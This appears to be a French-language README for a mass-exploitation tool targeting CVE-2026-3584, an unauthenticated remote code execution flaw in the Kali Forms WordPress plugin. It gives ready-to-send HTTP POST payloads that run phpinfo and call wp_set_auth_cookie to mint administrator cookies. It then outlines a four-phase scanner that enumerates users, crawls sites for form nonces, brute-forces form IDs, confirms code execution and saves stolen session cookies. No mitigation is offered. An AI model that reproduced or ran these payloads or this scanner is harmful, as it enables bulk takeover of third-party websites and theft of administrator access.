
CVE-2026-3584
🔥 Résumé de la vulnérabilité
Le plugin WordPress Kali Forms versions <= 2.4.9 présente une vulnérabilité critique d'exécution de code à distance non authentifiée (RCE). Cette faille permet aux attaquants non authentifiés d'exécuter du code PHP arbitraire sur le serveur et d'obtenir des privilèges d'administrateur complet via l'endpoint AJAX kaliforms_form_process exposé publiquement sans contrôles d'autorisation.
La vulnérabilité réside dans la fonction form_process qui accepte des paramètres contrôlés par l'utilisateur (y compris thisPermalink et entryCounter) et exécute des callbacks PHP arbitraires, conduisant à :
phpinfo(), system(), eval(), etc.wp_set_auth_cookie() pour obtenir des sessions administrativesLa vulnérabilité se manifeste dans la fonction form_process du plugin Kali Forms qui gère les requêtes AJAX. Le code vulnérable est exposé via :
// Endpoint AJAX accessible sans authentification
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
Flux de l'Exploit :
Endpoint non protégé : L'endpoint /wp-admin/admin-ajax.php?action=kaliforms_form_process est accessible aux utilisateurs non authentifiés via le hook wp_ajax_nopriv_.
Paramètres contrôlables par l'utilisateur :
data[thisPermalink] - peut contenir un nom de fonction PHP arbitrairedata[entryCounter] - peut contenir un nom de fonction PHP arbitrairedata[formId] - ID du formulaire à traiterExécution de callbacks non filtrés : Le code vulnérable exécute des callbacks PHP sans validation :
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // Aucun contrôle !
Chaîne d'exploitation :
Attaquant → Requête POST → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
Exécution de code PHP → phpinfo() exécuté
↓
entryCounter=wp_set_auth_cookie → Cookie administrateur généré
↓
Accès administrateur complet
Exemple de requête vulnérable :
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
Résultat : Le serveur exécute phpinfo() et retourne des informations complètes sur la configuration PHP.
Pour l'escalade de privilèges :
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
Résultat : WordPress exécute wp_set_auth_cookie(user_id) où user_id correspond souvent à formId, générant des cookies de session administrateur valides.
Le mass_scanner.py implémente un pipeline automatisé en 4 phases pour l'exploitation complète de la vulnérabilité CVE-2026-3584 :
┌──────────────────────────────────────────────────────────────────────────────┐
│ MASS SCANNER PIPELINE │
├──────────────────────────────────────────────────────────────────────────────┤
│ │
│ Phase 1 : Reconnaissance API REST │
│ ├─ Enumère les utilisateurs : /wp-json/wp/v2/users │
│ └─ Enumère les articles : /wp-json/wp/v2/posts │
│ → Identifie user_id et post_id pour escalade │
│ │
│ Phase 2 : Découverte des formulaires │
│ ├─ Crawl du site (depth=2) │
│ ├─ Cherche les patterns : 'KaliFormsObject', 'kaliforms' │
│ ├─ Extrait le nonce du JavaScript │
│ └─ Extrait le formId du HTML │
│ → Trouve tous les formulaires Kali Forms vulnérables │
│ │
│ Phase 3 : Test RCE │
│ ├─ Envoie : data[thisPermalink]=phpinfo │
│ ├─ Vérifie : 'PHP Version' dans la réponse │
│ └─ Sauvegarde : result/target_phpinfo.html │
│ → Confirme l'exécution de code à distance │
│ │
│ Phase 4 : Escalade de privilèges │
│ ├─ Envoie : data[entryCounter]=wp_set_auth_cookie │
│ ├─ Extrait : cookies wordpress_logged_in + wordpress_sec │
│ ├─ Vérifie : Accès à /wp-admin/ sans redirection │
│ └─ Sauvegarde : result_cookie/target.txt │
│ → Obtient un accès administrateur complet │
│ │
└──────────────────────────────────────────────────────────────────────────────┘
1. Normalisation automatique des URLs
def normalize_url(self, target):
# Ajoute automatiquement http:// ou https://
# Essaie d'abord HTTPS, puis fallback sur HTTP
# Gère les ports personnalisés (ex. :8080)
2. Énumération de l'API REST
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# Extrait tous les user_id disponibles
# Utilisé pour mapper formId → user_id
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# Extrait tous les post_id disponibles
# Identifie les chevauchements user_id/post_id
3. Découverte des formulaires (Crawling intelligent)
def discover_pages(self, target, max_depth=2):
# Crawl récursif du site
# Cherche les patterns JavaScript : 'KaliFormsObject'
# Filtre les URLs non nécessaires (js, css, images)
# Suit uniquement les liens internes
# Retourne la liste des pages avec Kali Forms
4. Extraction des données du formulaire
def extract_form_data(self, page_url):
# Extrait le nonce du JavaScript :
# KaliFormsObject = { ajax_nonce: "abc123" }
# Extrait le formId du HTML :
# data-id="1" ou [kaliform id="1"]
# Si nonce trouvé mais pas de formId :
# Brute force ID 1-10
5. Test RCE
def test_rce(self, target, form_id, nonce):
# POST /wp-admin/admin-ajax.php
# Payload : data[thisPermalink]=phpinfo
# Vérifie : len(response) > 10000 et 'PHP Version' présent
# Sauvegarde le HTML complet pour analyse